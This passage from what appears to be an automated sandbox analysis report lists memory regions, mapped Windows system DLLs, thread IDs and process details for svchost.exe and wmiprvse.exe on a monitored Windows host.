SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c3" [0xc000000f], "LOCAL" [0x7] Region: id = 2031 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2032 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2033 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2034 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2035 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2036 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2037 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2038 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2039 start_va = 0xf0000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2040 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2041 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2042 start_va = 0x280000 end_va = 0x290fff entry_point = 0x280000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2043 start_va = 0x2a0000 end_va = 0x2a3fff entry_point = 0x2a0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 2044 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 2045 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2046 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2047 start_va = 0x3d0000 end_va = 0x48ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 2048 start_va = 0x490000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2049 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 2050 start_va = 0x550000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 2051 start_va = 0x560000 end_va = 0x6e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 2052 start_va = 0x6f0000 end_va = 0x870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 2053 start_va = 0x880000 end_va = 0xc72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 2054 start_va = 0xc90000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 2055 start_va = 0xd20000 end_va = 0xd9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 2056 start_va = 0xda0000 end_va = 0xe1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 2057 start_va = 0xe60000 end_va = 0xedffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 2058 start_va = 0xf10000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 2059 start_va = 0x1030000 end_va = 0x10affff entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 2060 start_va = 0x10c0000 end_va = 0x138efff entry_point = 0x10c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2061 start_va = 0x13c0000 end_va = 0x143ffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 2062 start_va = 0x1440000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 2063 start_va = 0x1650000 end_va = 0x174ffff entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 2064 start_va = 0x17a0000 end_va = 0x181ffff entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 2065 start_va = 0x1820000 end_va = 0x189ffff entry_point = 0x0 region_type = private name = "private_0x0000000001820000" filename = "" Region: id = 2066 start_va = 0x18a0000 end_va = 0x195ffff entry_point = 0x18a0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2067 start_va = 0x1990000 end_va = 0x199ffff entry_point = 0x0 region_type = private name = "private_0x0000000001990000" filename = "" Region: id = 2068 start_va = 0x1a30000 end_va = 0x1a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 2069 start_va = 0x1a70000 end_va = 0x1aeffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 2070 start_va = 0x1b20000 end_va = 0x1b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b20000" filename = "" Region: id = 2071 start_va = 0x1c30000 end_va = 0x1caffff entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 2072 start_va = 0x1d70000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 2073 start_va = 0x1df0000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 2074 start_va = 0x1f30000 end_va = 0x1faffff entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 2075 start_va = 0x1fe0000 end_va = 0x205ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 2076 start_va = 0x2070000 end_va = 0x207ffff entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 2077 start_va = 0x20b0000 end_va = 0x212ffff entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 2078 start_va = 0x2200000 end_va = 0x227ffff entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 2079 start_va = 0x2280000 end_va = 0x247ffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 2080 start_va = 0x745d0000 end_va = 0x745d2fff entry_point = 0x745d0000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 2081 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2082 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2083 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2084 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2085 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2086 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2087 start_va = 0xffc20000 end_va = 0xffc2afff entry_point = 0xffc20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2088 start_va = 0x7fef58b0000 end_va = 0x7fef5987fff entry_point = 0x7fef58b0000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 2089 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2090 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2091 start_va = 0x7fef6e00000 end_va = 0x7fef6e18fff entry_point = 0x7fef6e00000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 2092 start_va = 0x7fef6fc0000 end_va = 0x7fef6fcffff entry_point = 0x7fef6fc0000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 2093 start_va = 0x7fef6fd0000 end_va = 0x7fef6fe1fff entry_point = 0x7fef6fd0000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 2094 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2095 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2096 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2097 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2098 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2099 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2100 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2101 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2102 start_va = 0x7fef97e0000 end_va = 0x7fef97e9fff entry_point = 0x7fef97e0000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 2103 start_va = 0x7fefb590000 end_va = 0x7fefb59afff entry_point = 0x7fefb590000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2104 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2105 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2106 start_va = 0x7fefb6b0000 end_va = 0x7fefb716fff entry_point = 0x7fefb6b0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2107 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2108 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2109 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2110 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2111 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2112 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2113 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2114 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2115 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2116 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2117 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2118 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2119 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2120 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2121 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2122 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2123 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2124 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2125 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2126 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2127 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2128 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2129 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2130 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2131 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2132 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2133 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2134 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2135 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2136 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2137 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2138 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2139 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2140 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2141 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2142 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2143 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2144 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2145 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2146 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2147 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2148 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2149 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2150 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2151 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2152 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2153 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2154 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2155 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2156 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2157 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2158 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2159 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2160 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2161 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 165 os_tid = 0xb9c Thread: id = 166 os_tid = 0xa70 Thread: id = 167 os_tid = 0x9bc Thread: id = 168 os_tid = 0x8fc Thread: id = 169 os_tid = 0x134 Thread: id = 170 os_tid = 0x184 Thread: id = 171 os_tid = 0x458 Thread: id = 172 os_tid = 0x424 Thread: id = 173 os_tid = 0x414 Thread: id = 174 os_tid = 0x7cc Thread: id = 175 os_tid = 0x7b4 Thread: id = 176 os_tid = 0x7a8 Thread: id = 177 os_tid = 0x7a4 Thread: id = 178 os_tid = 0x174 Thread: id = 179 os_tid = 0x178 Thread: id = 180 os_tid = 0x130 Thread: id = 181 os_tid = 0x118 Thread: id = 193 os_tid = 0x3f4 Thread: id = 195 os_tid = 0x308 Thread: id = 196 os_tid = 0x5cc Thread: id = 197 os_tid = 0x52c Thread: id = 198 os_tid = 0x1e0 Thread: id = 199 os_tid = 0x214 Thread: id = 200 os_tid = 0x924 Thread: id = 223 os_tid = 0xae8 Thread: id = 224 os_tid = 0xad8 Thread: id = 225 os_tid = 0xaec Thread: id = 228 os_tid = 0xac8 Thread: id = 229 os_tid = 0x698 Thread: id = 231 os_tid = 0x678 Thread: id = 233 os_tid = 0x634 Thread: id = 316 os_tid = 0xb84 Thread: id = 323 os_tid = 0xa54 Thread: id = 324 os_tid = 0xa6c Process: id = "16" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x23e74000" os_pid = "0x35c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0006cd3e" [0xc000000f] Region: id = 2550 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2551 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2552 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2553 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2554 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2555 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2556 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2557 start_va = 0xffc40000 end_va = 0xffc9efff entry_point = 0xffc40000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2558 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2559 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2560 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2561 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2562 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2563 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2564 start_va = 0x50000 end_va = 0xb6fff 